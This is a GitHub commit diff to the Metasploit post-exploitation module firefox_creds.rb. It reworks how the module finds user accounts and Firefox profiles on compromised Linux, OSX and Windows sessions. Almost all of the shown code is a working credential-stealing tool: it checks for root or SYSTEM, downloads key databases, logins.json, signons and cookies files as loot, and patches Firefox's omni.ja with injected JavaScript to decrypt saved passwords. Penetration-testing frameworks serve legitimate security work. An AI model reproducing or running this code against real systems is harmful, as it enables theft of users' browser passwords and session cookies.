Skip to content

Commit eb43241

Browse files
committed
Firefox_creds more stable/bug fixs (Linux/OSX)
1 parent 7c3e79f commit eb43241

File tree

1 file changed

+58
-61
lines changed

1 file changed

+58
-61
lines changed

modules/post/multi/gather/firefox_creds.rb

Lines changed: 58 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -176,9 +176,9 @@ def run
176176
decrypt_download_creds
177177
else # Non DECRYPT
178178
paths = []
179-
@platform =~ /unix|osx/ ? (paths = enum_users_unix) : (paths = enum_users_win)
179+
paths = enum_users
180180

181-
if paths.empty?
181+
if paths.nil? or paths.empty?
182182
print_error("No users found with a Firefox directory")
183183
return
184184
end
@@ -228,64 +228,55 @@ def decrypt_recover_omni(temp_file, org_file, path)
228228
end
229229

230230

231-
def enum_users_unix
231+
def enum_users
232232
paths = []
233233
id = whoami
234+
234235
if id.nil? or id.empty?
235236
print_error("Session #{datastore['SESSION']} is not responding")
236237
return
237238
end
238239

239-
@platform == :osx ? (home = "/Users/") : (home = "/home/")
240+
if @platform == :windows
241+
vprint_status("Searching every possible account on the target system")
242+
grab_user_profiles().each do |user|
243+
next if user['AppData'].nil?
244+
dir = check_firefox_win(user['AppData'])
245+
paths << dir if dir
246+
end
247+
else # unix, bsd, linux, osx
248+
@platform == :osx ? (home = "/Users/") : (home = "/home/")
240249

241-
if got_root?
242-
vprint_status("Detected ROOT privileges. Searching every account on the system.")
243-
userdirs = session.shell_command("ls #{home} 2>/dev/null").gsub(/\s/, "\n")
244-
userdirs << "/root\n"
245-
else
246-
vprint_status("Checking #{id}'s Firefox account")
247-
userdirs = session.shell_command("ls #{home + id} 2>/dev/null").gsub(/\s/, "\n")
248-
end
250+
if got_root
251+
vprint_status("Detected ROOT privileges. Searching every account on the target system.")
252+
userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n")
253+
userdirs << "/root\n"
254+
else
255+
vprint_status("Checking #{id}'s Firefox account")
256+
userdirs = "#{home + id}\n"
257+
end
258+
259+
userdirs.each_line do |dir|
260+
dir.chomp!
261+
next if dir == "." or dir == ".." or dir =~ /No such file/i
249262

250-
userdirs.each_line do |dir|
251-
dir.chomp!
252-
next if dir == "." || dir == ".." || dir =~ /No such file/i
263+
@platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/")
253264

254-
dir =~ /^\/root$/ ? (basepath = "/#{id}") : (basepath = "#{home + dir}")
255-
@platform == :osx ? (basepath = "#{basepath}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{basepath}/.mozilla/firefox/")
265+
print_status("Checking for Firefox profile in: #{basepath}")
266+
checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n")
256267

257-
print_status("Checking for Firefox profile in: #{basepath}")
258-
checkpath = session.shell_command("ls #{basepath} 2>/dev/null").gsub(/\s/, "\n")
259-
checkpath.each_line do |ffpath|
260-
ffpath.chomp!
261-
if ffpath =~ /\.default/
262-
vprint_good("Found profile: #{basepath + ffpath}")
263-
paths << "#{basepath + ffpath}"
268+
checkpath.each_line do |ffpath|
269+
ffpath.chomp!
270+
if ffpath =~ /\.default/
271+
vprint_good("Found profile: #{basepath + ffpath}")
272+
paths << "#{basepath + ffpath}"
273+
end
264274
end
265275
end
266276
end
267-
return paths
268-
end
269-
270-
271-
def enum_users_win
272-
paths = []
273-
id = whoami
274-
if id.nil? or id.empty?
275-
print_error("Session #{datastore['SESSION']} is not responding")
276-
return
277-
end
278-
279-
vprint_status("Searching every possible account on the system")
280-
grab_user_profiles().each do |user|
281-
next if user['AppData'].nil?
282-
dir = check_firefox_win(user['AppData'])
283-
paths << dir if dir
284-
end
285277
return paths
286278
end
287279

288-
289280
def check_firefox_win(path)
290281
paths = []
291282
ffpath = []
@@ -310,7 +301,7 @@ def check_firefox_win(path)
310301
end
311302

312303
#print_status("Locating Firefox profiles")
313-
path += "Firefox\\Profiles\\"
304+
path << "Firefox\\Profiles\\"
314305

315306
# We should only have profiles in the Profiles directory store them all
316307
begin
@@ -341,19 +332,19 @@ def download_loot(paths)
341332
profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s
342333
profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty?
343334

344-
session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = session.shell_command("ls #{path} 2>/dev/null").split())
335+
session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split())
345336

346337
files.each do |file|
347338
file.chomp!
348339
if file =~ /^key\d\.db$/ or file =~ /^cert\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^logins\.json$/
349340
ext = file.split('.')[2]
350341
ext == "txt" ? (mime = "plain") : (mime = "binary")
351342
vprint_status("Downloading: #{file}")
352-
if session.type == "meterpreter"
343+
if @platform == :windows
353344
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")
354345
session.fs.file.download_file(p, path + "\\" + file)
355346
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
356-
loot = session.shell_command("cat #{path + file}")
347+
loot = cmd_exec("cat #{path}//#{file}")
357348
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
358349
end
359350
print_good("Downloaded #{file}: #{p.to_s}")
@@ -372,7 +363,7 @@ def decrypt_get_env
372363

373364
case @platform
374365
when /win/
375-
if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i
366+
if !got_root and session.sys.config.sysinfo['OS'] !~ /xp/i
376367
print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work")
377368
end
378369

@@ -384,8 +375,8 @@ def decrypt_get_env
384375
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
385376
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
386377
when /unix/
387-
if cmd_exec("whoami").chomp !~ /root/
388-
print_error("You need root privileges on this platform for DECRYPT option")
378+
if !got_root
379+
print_error("You need ROOT privileges on this platform for DECRYPT option")
389380
return false
390381
end
391382
# Unix matches linux|unix|bsd but BSD is not supported
@@ -436,19 +427,25 @@ def decrypt_modify_omnija(zip)
436427
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
437428
]
438429

439-
# Extract files
440-
arya = files.map do |file|
430+
# Extract files from zip
431+
arya = files.map do |omnija_file|
441432
fdata = {}
442-
fdata['content'] = zip.read(file) unless file =~ /jsloader/
443-
fdata['outs'] = zip.get_output_stream(file)
433+
begin
434+
fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
435+
fdata['outs'] = zip.get_output_stream(omnija_file)
436+
rescue
437+
print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
438+
print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
439+
return false
440+
end
444441
fdata
445442
end
446443

447-
# Read contents
444+
# Read contents of array (arya)
448445
stor_js, pwd_xul, dlog_xul, res_js = arya
449446
stor_js['outs_res'] = res_js['outs']
450447

451-
# Payload (close after starting up - allowing evil js to run and nothing else)
448+
# Insert payload (close after starting up - allowing evil js to run and nothing else)
452449
wnd_close = "window.close();"
453450
onload = "Startup(); SignonsStartup(); #{wnd_close}"
454451

@@ -708,18 +705,18 @@ def decrypt_download_creds
708705
end
709706

710707

711-
def got_root?
708+
def got_root
712709
case @platform
713710
when :windows
714-
session.sys.config.getuid =~ /SYSTEM/ ? (true) : (false)
711+
session.sys.config.getuid =~ /SYSTEM/ ? true : false
715712
else # unix, bsd, linux, osx
716-
ret = whoami
717-
ret =~ /root/ ? (true) : (false)
713+
id_output = cmd_exec("id").chomp
714+
id_output.include?("uid=0(") ? true : false
718715
end
719716
end
720717

721718

722719
def whoami
723-
@platform == :windows ? (session.sys.config.getenv('USERNAME')) : (session.shell_command("whoami").chomp)
720+
@platform == :windows ? (session.sys.config.getenv('USERNAME')) : (cmd_exec("whoami").chomp)
724721
end
725722
end

0 commit comments

Comments
 (0)